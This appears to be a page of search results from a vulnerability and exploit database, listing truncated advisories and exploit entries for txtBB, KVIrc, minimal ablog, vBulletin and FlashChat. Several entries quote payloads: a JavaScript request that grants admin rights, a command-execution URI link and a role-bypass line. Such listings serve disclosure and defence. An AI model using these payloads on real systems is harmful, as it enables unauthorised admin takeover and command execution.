4066 matches found
Reflection for Secure IT Multiple Vulnerabilities (Linux)
This host is installed with Reflections for Secure IT and is prone to Multiple vulnerabilities. OpenVAS Vulnerability Test $Id: gbreflectionsecureitunixmultvulnlin.nasl 7113 2017-09-13 06:03:30Z cfischer $ Reflection for Secure IT Multiple Vulnerabilities Linux Authors: Sujit Ghosal Copyright:...
Reflection for Secure IT Multiple Vulnerabilities
Reflections for Secure IT is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...
txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit
No description provided by source. !-- txtBB = 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit By cOndemned Greetz: ZaBeaTy, sid.psycho, Alfons Luja, vCore, irk4z & str0ke ; Exploitation: 1. Create an account 2. Go to http://host/txtbb10RC3path/index.php?type=account 3. Put exploit code...
txtBB 1.0 RC3 - HTML/JS Injection / Arbitrary Add Admin Privileges
var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded'; req.send'signature=&avatar=&type=3&password=&submit=Zapisz'; milw0rm.com 2009-02-05...
txtBB 1.0 RC3 Injection
var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded'; req.send'signature=&avatar=&type=3&password=&submit=Zapisz';...
txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit
Exploit for unknown platform in category web applications ================================================================= txtBB var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type',...
txtBB 1.0 RC3 - HTMLJS Injection Arbitrary Add Admin Privileges
txtBB 1.0 RC3 - HTMLJS Injection Arbitrary Add Admin Privileges var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded';...
MODx vulnerable to SQL injection
Overview MODx, an open source contents management system, contains a SQL injection vulnerability. MODx, an open source contents management system, contains a SQL injection vulnerability in the MODx Control Panel. Gaku Mochizuki of Mitsui Bussan Secure Directions, Inc. reported this vulnerability ...
CVE-2008-5857
The DropDocuments plugin in KnowledgeTree before 3.5.4a allows remote authenticated users to gain administrative privileges via a certain sequence of "browse documents" and dashboard requests...
smb-enum-processes NSE Script
Pulls a list of processes from the remote server over SMB. This will determine all running processes, their process IDs, and their parent processes. It is done by querying the remote registry service, which is disabled by default on Vista; on all other Windows versions, it requires Administrator...
minimal ablog 0.4 - SQL Injection Arbitrary File Upload Authentication Bypass
minimal ablog 0.4 - SQL Injection Arbitrary File Upload Authentication Bypass =========================================================================================================== o minimal-ablog 0.4 SQL Injection, File Upload and Admin Bypass Vuln Software : minimal-ablog version 0.4 Vendo...
minimal ablog 0.4 - SQL Injection / Arbitrary File Upload / Authentication Bypass
=========================================================================================================== o minimal-ablog 0.4 SQL Injection, File Upload and Admin Bypass Vuln Software : minimal-ablog version 0.4 Vendor : http://www.abweb.co.cc/ Download :...
KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit
!-- KVIrc 3.4.2 Shiny uri handler remote command execution exploit by Nine:Situations:Group::strawdog Tested against IE8beta/WINxpsp3 software site: http://www.kvirc.net/?lang=en description: "KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac OS..." A command line...
KVIrc 3.4.2 Shiny (uri handler) Remote Command Execution Exploit
No description provided by source. !-- KVIrc 3.4.2 Shiny uri handler remote command execution exploit by Nine:Situations:Group::strawdog Tested against IE8beta/WINxpsp3 software site: http://www.kvirc.net/?lang=en description: "KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Un...
KVIrc 3.4.2 Shiny - URI handler Remote Command Execution
KVIrc 3.4.2 Shiny - URI handler Remote Command Execution Heaven and Earth are impartial They see the ten thousand things as straw dogs The wise are impartial/a...
kvirc-exec.txt
Heaven and Earth are impartial They see the ten thousand things as straw dogs The wise are impartial...
KVIrc 3.4.2 Shiny (uri handler) Remote Command Execution Exploit
Exploit for unknown platform in category remote exploits ================================================================ KVIrc 3.4.2 Shiny uri handler Remote Command Execution Exploit ================================================================ Heaven and Earth are impartial They see the ten...
KVIrc 3.4.2 Shiny - URI handler Remote Command Execution
Heaven and Earth are impartial They see the ten thousand things as straw dogs The wise are impartial a href='ircs6:///"%20--nosplash%20-e%20"run%20c...
waraxe-2008-SA068.txt
waraxe-2008-SA068 - Sql Injection in vBulletin 3.7.3.pl1 =============================================================================== Author: Janek Vind "waraxe" Date: 17. November 2008 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-68.html Description of vulnerable software:...
flashchat severe bug
File: connection.php if ChatServer::userInRole$this-userid, ROLEADMIN || ChatServer::userInRole$this-userid, ROLEMODERATOR || $req's' == 7 -- bypass line This piece of code allows a normal user to bypass role filtering and to be granted admin role as a normal user. To exploit the vulnerability...